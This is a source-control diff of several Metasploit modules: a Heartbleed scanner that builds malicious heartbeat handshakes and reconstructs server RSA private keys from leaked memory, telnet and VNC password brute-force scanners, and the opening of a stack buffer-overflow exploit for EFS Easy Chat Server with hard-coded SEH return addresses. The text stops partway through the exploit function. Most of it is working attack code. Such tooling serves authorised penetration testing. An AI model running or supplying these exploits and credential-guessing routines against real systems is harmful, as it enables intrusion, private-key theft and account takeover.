hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
|
||||
hello_data << [time_epoch].pack("N") # Time in epoch format
|
||||
hello_data << Rex::Text.rand_text(28) # Random
|
||||
hello_data << "\x00" # Session ID length
|
||||
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
|
||||
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
|
||||
hello_data << "\x01" # Compression methods length (1)
|
||||
hello_data << "\x00" # Compression methods: null
|
||||
|
||||
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
|
||||
hello_data_extensions << "\x00\x01" # Extension length
|
||||
hello_data_extensions << "\x01" # Extension data
|
||||
|
||||
hello_data << [hello_data_extensions.length].pack("n")
|
||||
hello_data << hello_data_extensions
|
||||
|
||||
data = "\x01\x00" # Handshake Type: Client Hello (1)
|
||||
data << [hello_data.length].pack("n") # Length
|
||||
data << hello_data
|
||||
|
||||
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
||||
end
|
||||
|
||||
def ssl_record(type, data)
|
||||
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
|
||||
record << data
|
||||
end
|
||||
|
||||
def get_ne()
|
||||
# Fetch rhost's cert, return public key values
|
||||
connect(true, {"SSL" => true}) #Force SSL
|
||||
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
|
||||
disconnect
|
||||
|
||||
unless cert
|
||||
# Returns the N and E params from the public server certificate
|
||||
def get_ne
|
||||
unless @cert
|
||||
print_error("#{peer} - No certificate found")
|
||||
return
|
||||
end
|
||||
|
||||
return cert.public_key.params["n"], cert.public_key.params["e"]
|
||||
return @cert.public_key.params['n'], @cert.public_key.params['e']
|
||||
end
|
||||
|
||||
# Tries to find pieces of the private key in the provided data
|
||||
def get_factors(data, n)
|
||||
# Walk through data looking for factors of n
|
||||
psize = n.num_bits / 8 / 2
|
||||
|
@ -523,40 +611,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return p, q
|
||||
end
|
||||
end
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
end
|
||||
|
||||
def establish_connect
|
||||
connect
|
||||
|
||||
unless datastore['TLS_CALLBACK'] == 'None'
|
||||
vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACK']}")
|
||||
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']])
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - STARTTLS failed...")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
|
||||
server_hello = sock.get(response_timeout)
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Generates the private key from the P, Q and E values
|
||||
def key_from_pqe(p, q, e)
|
||||
# Returns an RSA Private Key from Factors
|
||||
key = OpenSSL::PKey::RSA.new()
|
||||
|
@ -577,5 +636,170 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return key
|
||||
end
|
||||
|
||||
end
|
||||
#
|
||||
# SSL/TLS packet methods
|
||||
#
|
||||
|
||||
# Creates and returns a new SSL record with the provided data
|
||||
def ssl_record(type, data)
|
||||
record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn')
|
||||
record << data
|
||||
end
|
||||
|
||||
# generates a CLIENT_HELLO ssl/tls packet
|
||||
def client_hello
|
||||
# Use current day for TLS time
|
||||
time_temp = Time.now
|
||||
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
|
||||
|
||||
hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS
|
||||
hello_data << [time_epoch].pack('N') # Time in epoch format
|
||||
hello_data << Rex::Text.rand_text(28) # Random
|
||||
hello_data << "\x00" # Session ID length
|
||||
hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102)
|
||||
hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites
|
||||
hello_data << "\x01" # Compression methods length (1)
|
||||
hello_data << "\x00" # Compression methods: null
|
||||
|
||||
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
|
||||
hello_data_extensions << "\x00\x01" # Extension length
|
||||
hello_data_extensions << "\x01" # Extension data
|
||||
|
||||
hello_data << [hello_data_extensions.length].pack('n')
|
||||
hello_data << hello_data_extensions
|
||||
|
||||
data = "\x01\x00" # Handshake Type: Client Hello (1)
|
||||
data << [hello_data.length].pack('n') # Length
|
||||
data << hello_data
|
||||
|
||||
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
||||
end
|
||||
|
||||
# Parse SSL header
|
||||
def parse_ssl_record(data)
|
||||
ssl_records = []
|
||||
remaining_data = data
|
||||
ssl_record_counter = 0
|
||||
while remaining_data && remaining_data.length > 0
|
||||
ssl_record_counter += 1
|
||||
ssl_unpacked = remaining_data.unpack('CH4n')
|
||||
return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3
|
||||
ssl_type = ssl_unpacked[0]
|
||||
ssl_version = ssl_unpacked[1]
|
||||
ssl_len = ssl_unpacked[2]
|
||||
vprint_debug("SSL record ##{ssl_record_counter}:")
|
||||
vprint_debug("\tType: #{ssl_type}")
|
||||
vprint_debug("\tVersion: 0x#{ssl_version}")
|
||||
vprint_debug("\tLength: #{ssl_len}")
|
||||
if ssl_type != HANDSHAKE_RECORD_TYPE
|
||||
vprint_debug("\tWrong Record Type! (#{ssl_type})")
|
||||
else
|
||||
ssl_data = remaining_data[5, ssl_len]
|
||||
handshakes = parse_handshakes(ssl_data)
|
||||
ssl_records << {
|
||||
:type => ssl_type,
|
||||
:version => ssl_version,
|
||||
:length => ssl_len,
|
||||
:data => handshakes
|
||||
}
|
||||
end
|
||||
remaining_data = remaining_data[(ssl_len + 5)..-1]
|
||||
end
|
||||
|
||||
ssl_records
|
||||
end
|
||||
|
||||
# Parse Handshake data returned from servers
|
||||
def parse_handshakes(data)
|
||||
# Can contain multiple handshakes
|
||||
remaining_data = data
|
||||
handshakes = []
|
||||
handshake_count = 0
|
||||
while remaining_data && remaining_data.length > 0
|
||||
hs_unpacked = remaining_data.unpack('CCn')
|
||||
next if hs_unpacked.nil? or hs_unpacked.length < 3
|
||||
hs_type = hs_unpacked[0]
|
||||
hs_len_pad = hs_unpacked[1]
|
||||
hs_len = hs_unpacked[2]
|
||||
hs_data = remaining_data[4, hs_len]
|
||||
handshake_count += 1
|
||||
vprint_debug("\tHandshake ##{handshake_count}:")
|
||||
vprint_debug("\t\tLength: #{hs_len}")
|
||||
|
||||
handshake_parsed = nil
|
||||
case hs_type
|
||||
when HANDSHAKE_SERVER_HELLO_TYPE
|
||||
vprint_debug("\t\tType: Server Hello (#{hs_type})")
|
||||
handshake_parsed = parse_server_hello(hs_data)
|
||||
when HANDSHAKE_CERTIFICATE_TYPE
|
||||
vprint_debug("\t\tType: Certificate Data (#{hs_type})")
|
||||
handshake_parsed = parse_certificate_data(hs_data)
|
||||
when HANDSHAKE_KEY_EXCHANGE_TYPE
|
||||
vprint_debug("\t\tType: Server Key Exchange (#{hs_type})")
|
||||
# handshake_parsed = parse_server_key_exchange(hs_data)
|
||||
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
|
||||
vprint_debug("\t\tType: Server Hello Done (#{hs_type})")
|
||||
else
|
||||
vprint_debug("\t\tType: Handshake type #{hs_type} not implemented")
|
||||
end
|
||||
|
||||
handshakes << {
|
||||
:type => hs_type,
|
||||
:len => hs_len,
|
||||
:data => handshake_parsed
|
||||
}
|
||||
remaining_data = remaining_data[(hs_len + 4)..-1]
|
||||
end
|
||||
|
||||
handshakes
|
||||
end
|
||||
|
||||
# Parse Server Hello message
|
||||
def parse_server_hello(data)
|
||||
version = data.unpack('H4')[0]
|
||||
vprint_debug("\t\tServer Hello Version: 0x#{version}")
|
||||
random = data[2,32].unpack('H*')[0]
|
||||
vprint_debug("\t\tServer Hello random data: #{random}")
|
||||
session_id_length = data[34,1].unpack('C')[0]
|
||||
vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}")
|
||||
session_id = data[35,session_id_length].unpack('H*')[0]
|
||||
vprint_debug("\t\tServer Hello Session ID: #{session_id}")
|
||||
# TODO Read the rest of the server hello (respect message length)
|
||||
|
||||
# TODO: return hash with data
|
||||
true
|
||||
end
|
||||
|
||||
# Parse certificate data
|
||||
def parse_certificate_data(data)
|
||||
# get certificate data length
|
||||
unpacked = data.unpack('Cn')
|
||||
cert_len_padding = unpacked[0]
|
||||
cert_len = unpacked[1]
|
||||
vprint_debug("\t\tCertificates length: #{cert_len}")
|
||||
# contains multiple certs
|
||||
already_read = 3
|
||||
cert_counter = 0
|
||||
while already_read < cert_len
|
||||
start = already_read
|
||||
cert_counter += 1
|
||||
# get single certificate length
|
||||
single_cert_unpacked = data[start, 3].unpack('Cn')
|
||||
single_cert_len_padding = single_cert_unpacked[0]
|
||||
single_cert_len = single_cert_unpacked[1]
|
||||
vprint_debug("\t\tCertificate ##{cert_counter}:")
|
||||
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
|
||||
certificate_data = data[(start + 3), single_cert_len]
|
||||
cert = OpenSSL::X509::Certificate.new(certificate_data)
|
||||
# First received certificate is the one from the server
|
||||
@cert = cert if @cert.nil?
|
||||
#vprint_debug("Got certificate: #{cert.to_text}")
|
||||
vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
|
||||
already_read = already_read + single_cert_len + 3
|
||||
end
|
||||
|
||||
# TODO: return hash with data
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,6 +4,9 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/telnet'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -33,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections. The greatest value of TelnetTimeout, TelnetBannerTimeout, or this option will be used as an overall timeout.', 0])
|
||||
OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections.', 25])
|
||||
], self.class
|
||||
)
|
||||
|
||||
|
@ -44,190 +47,74 @@ class Metasploit3 < Msf::Auxiliary
|
|||
attr_accessor :password_only
|
||||
|
||||
def run_host(ip)
|
||||
overall_timeout ||= [
|
||||
datastore['TIMEOUT'].to_i,
|
||||
datastore['TelnetBannerTimeout'].to_i,
|
||||
datastore['TelnetTimeout'].to_i
|
||||
].max
|
||||
|
||||
# Check for a password-only prompt for this machine.
|
||||
self.password_only = []
|
||||
if connect_reset_safe == :connected
|
||||
@strip_usernames = true if password_prompt?
|
||||
self.sock.close
|
||||
end
|
||||
|
||||
begin
|
||||
each_user_pass do |user, pass|
|
||||
Timeout.timeout(overall_timeout) do
|
||||
res = try_user_pass(user, pass)
|
||||
start_telnet_session(rhost,rport,user,pass) if res == :next_user
|
||||
end
|
||||
end
|
||||
rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def try_user_pass(user, pass)
|
||||
vprint_status "#{rhost}:#{rport} Telnet - Attempting: '#{user}':'#{pass}'"
|
||||
this_attempt ||= 0
|
||||
ret = nil
|
||||
while this_attempt <=3 and (ret.nil? or ret == :refused)
|
||||
if this_attempt > 0
|
||||
select(nil,nil,nil,2**this_attempt)
|
||||
vprint_error "#{rhost}:#{rport} Telnet - Retrying '#{user}':'#{pass}' due to reset"
|
||||
end
|
||||
ret = do_login(user,pass)
|
||||
this_attempt += 1
|
||||
end
|
||||
case ret
|
||||
when :no_auth_required
|
||||
print_good "#{rhost}:#{rport} Telnet - No authentication required!"
|
||||
report_telnet('','',@trace)
|
||||
return :abort
|
||||
when :no_pass_prompt
|
||||
vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}' due to missing password prompt"
|
||||
return :skip_user
|
||||
when :timeout
|
||||
vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to timeout"
|
||||
when :busy
|
||||
vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to busy state"
|
||||
when :refused
|
||||
vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to connection refused."
|
||||
when :skip_user
|
||||
vprint_status "#{rhost}:#{rport} Telnet - Skipping disallowed user '#{user}' for subsequent requests"
|
||||
return :skip_user
|
||||
when :success
|
||||
unless user == user.downcase
|
||||
case_ret = do_login(user.downcase,pass)
|
||||
if case_ret == :success
|
||||
user= user.downcase
|
||||
print_status("Username #{user} is case insensitive")
|
||||
end
|
||||
end
|
||||
report_telnet(user,pass,@trace)
|
||||
return :next_user
|
||||
end
|
||||
end
|
||||
|
||||
# Sometimes telnet servers start RSTing if you get them angry.
|
||||
# This is a short term fix; the problem is that we don't know
|
||||
# if it's going to reset forever, or just this time, or randomly.
|
||||
# A better solution is to get the socket connect to try again
|
||||
# with a little backoff.
|
||||
def connect_reset_safe
|
||||
begin
|
||||
connect
|
||||
rescue Rex::ConnectionRefused
|
||||
return :refused
|
||||
end
|
||||
return :connected
|
||||
end
|
||||
|
||||
# Making this serial since the @attempts counting business is causing
|
||||
# all kinds of syncing problems.
|
||||
def do_login(user,pass)
|
||||
|
||||
return :refused if connect_reset_safe == :refused
|
||||
|
||||
begin
|
||||
|
||||
vprint_status("#{rhost}:#{rport} Banner: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||
|
||||
if busy_message?
|
||||
self.sock.close unless self.sock.closed?
|
||||
return :busy
|
||||
end
|
||||
|
||||
if login_succeeded?
|
||||
return :no_auth_required
|
||||
end
|
||||
|
||||
# Immediate password prompt... try our password!
|
||||
if password_prompt?
|
||||
user = ''
|
||||
|
||||
if password_only.include?(pass)
|
||||
print_status("#{rhost}:#{rport} - Telnet - skipping already tried password '#{pass}'")
|
||||
return :tried
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Telnet - trying password only authentication with password '#{pass}'")
|
||||
password_only << pass
|
||||
else
|
||||
send_user(user)
|
||||
end
|
||||
|
||||
recvd_sample = @recvd.dup
|
||||
# Allow for slow echos
|
||||
1.upto(10) do
|
||||
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
|
||||
end
|
||||
|
||||
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||
|
||||
if password_prompt?(user)
|
||||
send_pass(pass)
|
||||
|
||||
# Allow for slow echos
|
||||
1.upto(10) do
|
||||
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
|
||||
end
|
||||
|
||||
|
||||
vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||
|
||||
if login_succeeded?
|
||||
return :success
|
||||
else
|
||||
self.sock.close unless self.sock.closed?
|
||||
if @recvd =~ /Not on system console/ # Solaris8, user is not allowed
|
||||
return :skip_user
|
||||
else
|
||||
return :fail
|
||||
end
|
||||
end
|
||||
else
|
||||
if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/
|
||||
report_telnet(user,pass,@trace)
|
||||
return :no_pass_required
|
||||
else
|
||||
self.sock.close unless self.sock.closed?
|
||||
return :no_pass_prompt
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
self.sock.close unless self.sock.closed?
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
if e.to_s == "execution expired"
|
||||
self.sock.close unless self.sock.closed?
|
||||
return :timeout
|
||||
else
|
||||
self.sock.close unless self.sock.closed?
|
||||
print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def report_telnet(user, pass, proof)
|
||||
print_good("#{rhost} - SUCCESSFUL LOGIN #{user} : #{pass}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'telnet',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => proof,
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS'],
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::Telnet.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
connection_timeout: datastore['Timeout'],
|
||||
banner_timeout: datastore['TelnetBannerTimeout'],
|
||||
telnet_timeout: datastore['TelnetTimeout']
|
||||
)
|
||||
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: rport,
|
||||
service_name: 'telnet',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
scanner.scan! do |result|
|
||||
if result.success?
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public
|
||||
}
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Credential::Login::Status::SUCCESSFUL
|
||||
}
|
||||
login_data.merge!(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
|
||||
else
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: nil,
|
||||
realm_value: nil,
|
||||
status: result.status)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def start_telnet_session(host, port, user, pass)
|
||||
def start_telnet_session(host, port, user, pass, scanner)
|
||||
print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}"
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
|
@ -237,7 +124,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'PASSWORD' => pass
|
||||
}
|
||||
|
||||
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true)
|
||||
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,6 +5,8 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/rfb'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/vnc'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -56,82 +58,68 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def run_host(ip)
|
||||
print_status("#{ip}:#{rport} - Starting VNC login sweep")
|
||||
|
||||
begin
|
||||
each_user_pass { |user, pass|
|
||||
ret = nil
|
||||
attempts = 5
|
||||
attempts.times { |n|
|
||||
ret = do_login(user, pass)
|
||||
break if ret != :retry
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
delay = (2**(n+1)) + 1
|
||||
vprint_status("Retrying in #{delay} seconds...")
|
||||
select(nil, nil, nil, delay)
|
||||
scanner = Metasploit::Framework::LoginScanner::VNC.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
connection_timeout: datastore['ConnectTimeout']
|
||||
)
|
||||
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: rport,
|
||||
service_name: 'vnc',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
scanner.scan! do |result|
|
||||
if result.success?
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
}
|
||||
# If we tried all these attempts, and we still got a retry condition,
|
||||
# we'll just give up.. Must be that nasty blacklist algorithm kicking
|
||||
# our butt.
|
||||
return :abort if ret == :retry
|
||||
ret
|
||||
}
|
||||
rescue ::Rex::ConnectionError
|
||||
nil
|
||||
end
|
||||
end
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
def do_login(user, pass)
|
||||
vprint_status("#{target_host}:#{rport} - Attempting VNC login with password '#{pass}'")
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
connect
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Credential::Login::Status::SUCCESSFUL
|
||||
}
|
||||
login_data.merge!(service_data)
|
||||
|
||||
begin
|
||||
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
|
||||
if not vnc.handshake
|
||||
vprint_error("#{target_host}:#{rport}, #{vnc.error}")
|
||||
return :abort
|
||||
create_credential_login(login_data)
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: nil,
|
||||
private: result.credential.private,
|
||||
realm_key: nil,
|
||||
realm_value: nil,
|
||||
status: result.status)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
|
||||
ver = "#{vnc.majver}.#{vnc.minver}"
|
||||
vprint_status("#{target_host}:#{rport}, VNC server protocol version : #{ver}")
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => 'vnc',
|
||||
:info => "VNC protocol version #{ver}"
|
||||
)
|
||||
|
||||
if not vnc.authenticate(pass)
|
||||
vprint_error("#{target_host}:#{rport}, #{vnc.error}")
|
||||
return :retry if vnc.error =~ /connection has been rejected/ # UltraVNC
|
||||
return :retry if vnc.error =~ /Too many security failures/ # vnc4server
|
||||
return :fail
|
||||
end
|
||||
|
||||
print_good("#{target_host}:#{rport}, VNC server password : \"#{pass}\"")
|
||||
|
||||
access_type = "password"
|
||||
#access_type = "view-only password" if vnc.view_only_mode
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'vnc',
|
||||
:pass => pass,
|
||||
:type => access_type,
|
||||
:duplicate_ok => true,
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
})
|
||||
return :next_user
|
||||
|
||||
# For debugging only.
|
||||
#rescue ::Exception
|
||||
# raise $!
|
||||
# print_error("#{$!}")
|
||||
|
||||
ensure
|
||||
disconnect()
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -17,78 +17,151 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
|
||||
sending a overly long authentication request, an attacker may be able to execute
|
||||
arbitrary code.
|
||||
|
||||
NOTE: The offset to SEH is influenced by the installation path of the program.
|
||||
The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated
|
||||
with "\users\" and the string passed as the username HTTP paramter.
|
||||
This module exploits a stack buffer overflow in EFS Software Easy Chat
|
||||
Server versions 2.0 to 3.1. By sending an overly long authentication
|
||||
request, an attacker may be able to execute arbitrary code.
|
||||
},
|
||||
'Author' => [ 'LSO <lso[at]hushmail.com>' ],
|
||||
'Author' =>
|
||||
[
|
||||
'LSO <lso[at]hushmail.com>', # original metasploit
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # metasploit
|
||||
],
|
||||
'License' => BSD_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2004-2466' ],
|
||||
[ 'CVE', '2004-2466' ],
|
||||
[ 'OSVDB', '7416' ],
|
||||
[ 'BID', '25328' ],
|
||||
[ 'OSVDB', '106841' ],
|
||||
[ 'BID', '25328' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Privileged' => true,
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 500,
|
||||
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",
|
||||
'Space' => 7000,
|
||||
'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
|
||||
# Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on:
|
||||
# -- Windows XP SP 3 (x86) (EN)
|
||||
# -- Windows 7 SP 1 (x64) (EN)
|
||||
# -- Windows 8 SP 0 (x64) (EN)
|
||||
[ 'Automatic Targeting', { 'auto' => true } ],
|
||||
# p/p/r SSLEAY32.dll
|
||||
[ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ],
|
||||
# p/p/r SSLEAY32.dll
|
||||
[ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ]
|
||||
],
|
||||
'DisclosureDate' => 'Aug 14 2007',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ true, "Installation path of Easy Chat Server",
|
||||
"C:\\Program Files\\Easy Chat Server" ])
|
||||
], self.class )
|
||||
end
|
||||
|
||||
def check
|
||||
info = http_fingerprint # check method
|
||||
# NOTE: Version 2.5 still reports "1.0" in the "Server" header
|
||||
if (info =~ /Easy Chat Server\/1\.0/)
|
||||
return Exploit::CheckCode::Appears
|
||||
version = get_version
|
||||
if not version
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
vprint_status "#{peer} - Found version: #{version}"
|
||||
if version !~ /^(2\.\d|3\.0|3\.1)$/
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
path = get_install_path
|
||||
if not path
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
vprint_status "#{peer} - Found path: #{path}"
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
#
|
||||
# Get software version from change log
|
||||
#
|
||||
def get_version
|
||||
res = send_request_raw 'uri' => '/whatsnew.txt'
|
||||
if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/
|
||||
return "#{$1}"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Get software installation path from uninstall file
|
||||
#
|
||||
def get_install_path
|
||||
res = send_request_raw 'uri' => '/unins000.dat'
|
||||
if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i
|
||||
return "#{$1}"
|
||||
end
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
# randomize some values.
|
||||
val = rand_text_alpha(rand(10) + 1)
|
||||
num = rand_text_numeric(1)
|
||||
|
||||
path = datastore['PATH'] + "\\users\\"
|
||||
print_status("path: " + path)
|
||||
# get target
|
||||
if target.name =~ /Automatic/
|
||||
version = get_version
|
||||
vprint_status "#{peer} - Found version: #{version}" if version
|
||||
if not version or version !~ /^(2\.\d|3\.0|3\.1)$/
|
||||
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")
|
||||
elsif version =~ /(2\.0)/
|
||||
my_target = targets[1]
|
||||
elsif version =~ /(2\.\d|3\.0|3\.1)/
|
||||
my_target = targets[2]
|
||||
end
|
||||
else
|
||||
my_target = target
|
||||
end
|
||||
|
||||
# exploit buffer.
|
||||
filler = rand_text_alpha(256 - path.length)
|
||||
seh = generate_seh_payload(target.ret)
|
||||
juju = filler + seh
|
||||
# get install path
|
||||
path = get_install_path
|
||||
if not path
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path")
|
||||
end
|
||||
path << "\\users\\"
|
||||
vprint_status "#{peer} - Using path: #{path}"
|
||||
|
||||
